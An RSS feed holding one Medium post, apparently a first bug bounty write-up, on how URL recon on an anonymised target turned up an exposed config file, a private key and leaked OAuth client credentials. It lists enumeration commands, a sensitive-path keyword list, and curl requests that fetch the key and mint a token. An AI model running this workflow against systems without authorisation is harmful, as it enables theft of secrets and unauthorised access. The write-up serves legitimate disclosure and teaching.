<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dark_Sar7 on Medium]]></title>
        <description><![CDATA[Stories by Dark_Sar7 on Medium]]></description>
        <link>https://medium.com/@mhmmsrhan?source=rss-2b94ed68dea6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*bixHIiSXB8kpxJHP</url>
            <title>Stories by Dark_Sar7 on Medium</title>
            <link>https://medium.com/@mhmmsrhan?source=rss-2b94ed68dea6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:40:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mhmmsrhan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Little Recon Found Three Info-Disclosure Bugs]]></title>
            <link>https://medium.com/@mhmmsrhan/how-a-little-recon-found-three-info-disclosure-bugs-62740cc9482f?source=rss-2b94ed68dea6------2</link>
            <guid isPermaLink="false">https://medium.com/p/62740cc9482f</guid>
            <dc:creator><![CDATA[Dark_Sar7]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 22:41:16 GMT</pubDate>
            <atom:updated>2025-10-09T21:16:14.338Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my friend, my name is <strong>Mohamed Sarhan (Dark_Sar7)</strong> and this would be my first write-up. Hope you love it 💪</p><p>While working in one of the programs on HackerOne, I was able to find <strong>3 Info-Disclosure bugs</strong> just by playing around with URLs and doing some deep searches.</p><p>URLs are a great attack surface for many types of bugs like <strong>Information Disclosure, XSS, LFI &amp; Path Traversal, SSRF, and IDOR</strong> — and today our focus is <strong>Information Disclosure</strong>.</p><p>Now our target — we’ll just call it <strong>target.com</strong>.</p><p>I started like anyone else, doing some <strong>subdomain enumeration</strong> using popular tools such as subfinder, assetfinder, and sites like <strong>Shrewd, Subdomainfinder, SecurityTrails</strong>.</p><p>Then I collected URLs using:</p><pre>cat domains.txt | waybackurls &gt; waybackurls.txt <br>cat domains.txt | gau - threads 5 &gt;&gt; gau.txt <br>katana -list domains.txt -f url -silent -o katana_urls.txt</pre><p>Now let’s collect all urls in one file and remove duplicates</p><pre>cat waybackurls.txt gau.txt katana_urls.txt | anew allurls.txt</pre><p>Because our target is <strong>Information Disclosure</strong>, we’ll look for interesting files first. There are many types of files and paths you can search for, such as:</p><pre>admin | backup | passwd | password | secret | token | api | key | auth | debug | test | .json<br>staging | internal | config | db | database | .git | .svn | log | dump | meta-data | group | data-query</pre><p>Now let’s start with the JSON files:</p><pre>cat allurls.txt | grep -iE &quot;\.json$&quot; | httpx -silent</pre><p>While looking through the results, I found an interesting file:</p><pre>https://target.com/appsettings.json</pre><p>The <strong>appsettings.json</strong> file plays a crucial role in storing configuration data such as API endpoints, authentication details, environment settings, and logging configurations.<br> When this file is publicly accessible, it can unintentionally expose sensitive information that helps attackers understand how the backend is structured.</p><p>In my finding, the file contained <strong>Azure Active Directory tenant IDs, client (application) IDs, OAuth scopes, and development API hostnames</strong>.<br> That was a good one — but unfortunately, it was <strong>a duplicate 🥲</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*b7EWoaOhTdX3y144QNh8Lg.png" /></figure><p>Okay, let’s move forward.</p><p>While looking again for JSON files, I found another one called <strong>ngsw.json</strong>.<br> This file returned many endpoints. While checking those endpoints, I found some interesting paths like:</p><pre>applePay/dev/certificate_sandbox_dev.key  <br>applePay/prod/certificate_sandbox_prod.pem  <br>applePay/dev/merchant_ID.ts</pre><p>I tried opening these paths directly, but they returned 200 OK with a blank page.</p><p>So I used the second option — <strong>curl</strong>:</p><pre>curl -sS https://target.com/x/applePay/dev/certificate_sandbox_dev.key</pre><p>this download the site certificate</p><p>Then again:</p><pre>curl -sS https://target.com/x/applePay/dev/certificate_sandbox_dev.key</pre><p>And this time, it <strong>retrieved the server private key!!</strong></p><p>Now if we combine all of this, what do we get?</p><blockquote><em>Exposure of a private key together with config metadata enables impersonation, TLS MITM, and forgery of payment tokens — greatly increasing the risk of unauthorized access and fraudulent transactions.<br> When combined with tenant/client IDs and merchant identifiers, this accelerates targeted phishing and automated abuse and can escalate to full compromise. Immediate revocation and remediation are required.</em></blockquote><p>This was a <strong>critical finding</strong>, but again — <strong>a duplicate 😂</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*Y2e4exYIk9PVrYEAYhk67A.png" /></figure><p>Not yet, pro! We still need a valid one, so let’s move forward.</p><p>Now i have almost see all files in the urls and i can’t find any more useful things but we still have the JS file 💀</p><pre>cat allurls.txt | grep -iE &quot;\.js$&quot; &gt; jsfiles.txt</pre><p>Because of the scope, I had about <strong>10,000 JS files</strong>, with around <strong>6,000 alive 😅</strong></p><p>So now it’s time for <strong>JS analysis tools</strong> — you can use nuclei or others, but this time I used <strong>Mantra</strong>.</p><pre>cat jsfiles.txt | mantra</pre><p>I got a lot of results, but one was really interesting — <strong>exposed OAuth client credentials:</strong></p><pre>client_id=dummy, client_secret=dummy</pre><p>That’s good, but before reporting, I needed to check if it works.</p><p>While reading the full JS file, I found it used with an OAuth endpoint to generate a token.<br>So I tried generating a token myself using curl:</p><pre>curl -s -X POST “https://[TOKEN_ENDPOINT]/oauth/token&quot; \<br> -H “Authorization: REDACTED_AUTHORIZATION” \<br> -H “Content-Type: application/x-www-form-urlencoded” \<br> -d “grant_type=client_credentials”</pre><p>And it successfully generated a token for me:</p><pre>{ “access_token”: “mTsU4tlm…redacted…”, “token_type”: “bearer”, “expires_in”: 12315, “scope”: “basic openid” }</pre><p>Now that’s good — let’s test it on some API endpoints:</p><pre>curl -s -X GET “https://api.example.com/occ/v2/storefront/products/search?query=x&amp;fields=products(code,name,price)&quot; \<br> -H “Authorization: REDACTED_TOKEN” \<br> -H “Accept: application/json”</pre><p>Response:</p><pre>{<br>  &quot;pagination&quot;: { &quot;totalResults&quot;: 45, ... },<br>  &quot;products&quot;: [<br>    {<br>      &quot;code&quot;: &quot;x&quot;,<br>      &quot;name&quot;: &quot;Classic Gooey Caramel Heart Bag 93g&quot;,<br>      &quot;price&quot;: { &quot;currencyIso&quot;: &quot;GBP&quot;, &quot;formattedValue&quot;: &quot;£4.50&quot;, &quot;value&quot;: 4.5 }<br>    },<br>    {<br>      &quot;code&quot;: &quot;x&quot;,<br>      &quot;name&quot;: &quot;Chocolate Truffles and Prosecco Collection&quot;,<br>      &quot;price&quot;: { &quot;currencyIso&quot;: &quot;GBP&quot;, &quot;formattedValue&quot;: &quot;£40.00&quot;, &quot;value&quot;: 40.0 }<br>    }<br>  ]<br>}</pre><p>Now we see the token works — a good <strong>Proof of Concept</strong>.</p><p>Of course, I tried to access more interesting endpoints to check for any <strong>PII</strong>, but most of them returned 401.<br> So I reported it as it is — and <strong>this time I got it 💪🥳</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*0N2rm6EMWT1jZ3unfakQnQ.png" /></figure><p>That’s where our story ends!<br> Hope you got something useful from this, and forgive me if it’s not super clear — this is my <strong>first write-up</strong>.</p><p><strong>See you!!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62740cc9482f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>